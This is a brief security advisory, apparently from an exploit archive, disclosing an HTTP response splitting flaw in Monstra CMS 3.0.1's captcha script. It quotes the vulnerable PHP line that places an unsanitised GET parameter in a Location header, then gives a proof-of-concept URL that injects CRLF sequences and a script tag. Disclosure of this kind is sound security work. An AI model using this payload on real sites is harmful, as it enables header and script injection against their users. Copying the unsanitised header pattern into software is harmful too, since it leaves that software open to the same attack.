Monstra 3.0.1 HTTP Response Splitting

2014.11.11

Credit: Paulos Yibelo

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Monstra <= 3.0.1 HTTP Response Splitting
/plugins/captcha/crypt/cryptographp.php
SetCookie("cryptcookietest", "1");
Header("Location:
cryptographp.inc.php?cfg=".$_GET['cfg']."&sn=".session_name()."&".SID);
so providing
http://localhost/mons/plugins/captcha/crypt/cryptographp.php?cfg=%0A%0DContent-T
ype:%20text/html%0A%0D%0A%0D%3Cscript%3Ealert%281%29%3C/script%3E&
Would result a CRLF injection.
Note: PHP version must allow multiple headers. this is fixed >5.1.2

See this note in RAW Version

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Monstra 3.0.1 HTTP Response Splitting

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